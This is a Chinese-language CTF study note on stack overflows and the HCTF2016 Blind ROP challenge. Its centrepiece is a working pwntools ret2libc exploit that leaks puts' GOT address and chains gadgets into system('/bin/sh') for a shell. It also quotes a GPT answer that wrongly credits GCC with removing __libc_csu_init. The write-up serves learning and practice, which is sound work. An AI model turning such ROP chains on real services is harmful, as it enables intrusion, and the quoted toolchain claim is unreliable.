pwn

栈溢出基础浅记(3)

Posted by Kody Black on October 7, 2023

控制rdx的方法

从上一篇文章可以发现,鲜有类似pop rdx;ret这样的指令。

wiki中介绍了一个方法,就是会找到strcmp函数,在执行该函数时,rdx会被设置为要被比较的字符串的长度,所以可以通过找到strcmp函数,从而控制rdx。

关于HCTF2016 的出题人失踪了的发现

本来想着先用常规的方法做这道题,看看会不会出问题结果发现最后在执行payload = b'a' * 64 + b'deadbeef' + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)时总是失败,总结原因应该时libc版本的问题。同时试了下wiki给出的rop,也不能成功运行。

通过泄露got地址,发现puts地址为0x570a7ff04a680e50,__libc_start_main地址为0x570a7ffa31a29dc0,两个综合发现结果只有libc6_2.35-0ubuntu3.4_amd64,但是使用该libc的地址,得到的system函数的位置也并不正确。证明确实是libc版本有问题。

!!!!其实上面的说法不正确!!!并不是libc版本的问题!

可以用的exp如下:

#!/usr/bin/env python

from pwn import *
from LibcSearcher import LibcSearcher
# 0x00000000004007c3 : pop rdi ; ret
# 0x00000000004007c1 : pop rsi ; pop r15 ; ret
##length = getbufferflow_length()
length = 72
##stop_gadget = get_stop_addr(length)
stop_gadget = 0x4006b6
##brop_gadget = find_brop_gadget(length,stop_gadget)
brop_gadget = 0x4007ba
pop_rdi = brop_gadget + 9
pop_rsi_pop_r15 = brop_gadget + 7
##puts_plt = get_puts_addr(length, rdi_ret, stop_gadget)
puts_plt = 0x400560
##leakfunction(length, rdi_ret, puts_plt, stop_gadget)
puts_got = 0x601018

# sh = remote("127.0.0.1", 9999)
sh = process('./brop')

payload = b'a' * length + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(stop_gadget)

sh.recv()
sh.sendline(payload)

# 搞不懂为啥接受8个字节的话,最后两个字节不是0,也就是说貌似got表中的__libc_start_main的地址只有6个字节
# 现在这样接受6个字节是对的
libc_puts_addr = u64(sh.recv(6).ljust(8, b'\x00'))
log.success('puts ' + hex(libc_puts_addr))

libc = LibcSearcher('puts', libc_puts_addr)
libc_base = libc_puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')

# libc = ELF('./libc.so.6')
# libc_base = libc_puts_addr - libc.symbols['puts']
# system_addr = libc_base + libc.symbols['system']
# binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

log.success('libc_base ' + hex(libc_base))
log.success('system_addr ' + hex(system_addr))
log.success('binsh_addr ' + hex(binsh_addr))

# 我如果没修改rsi,同样也不能得到shell 估计是因为原来rsi里面的值是那个特别长的字符串
payload = b'a' * length + p64(pop_rdi) + p64(binsh_addr) + p64(pop_rsi_pop_r15)+ p64(0) +p64(0) + p64(system_addr) + p64(stop_gadget)

sh.sendline(payload)
sh.interactive()

之后,我想着直接编重新用我的gcc编译一下(gcc version 11.4.0),使用命令为gcc -fno-stack-protector -no-pie main.c -o brop,这时使用ROPgadget查看,结果如下:

❯ ROPgadget --binary brop --only 'pop|ret'
Gadgets information
============================================================
0x000000000040117d : pop rbp ; ret
0x000000000040101a : ret

Unique gadgets found: 2

基本上没有pop,ret了,然后使用ida pro逆向,发现确实已经没有了__libc_csu_init函数,询问GPT的结果如下:

根据GCC的更新历史,自GCC版本4.9以后,新版本的GCC已经引入了新的启动过程(startup process)和初始化过程(initialization process)。在新的初始化过程中,不再使用libc_csu_fini和libc_csu_init函数。

在旧版本的GCC中,libc_csu_fini和libc_csu_init函数是用于在程序启动和结束时执行一些初始化和清理工作的。libc_csu_fini用于清理由libc_csu_init函数初始化的全局变量和静态变量,而libc_csu_init函数则负责初始化这些变量。

然而,由于新版本的GCC引入了更高级的启动和初始化过程,这些过程已经被重新设计和重构。因此,不再需要使用libc_csu_fini和libc_csu_init函数来进行初始化和清理工作。

总结起来,最新版的GCC编译的文件不再包含libc_csu_fini和libc_csu_init函数。

关于Blind ROP

这里写一下思路

整个过程挺繁琐的,感觉先可以做做别的,有时间再做这种题目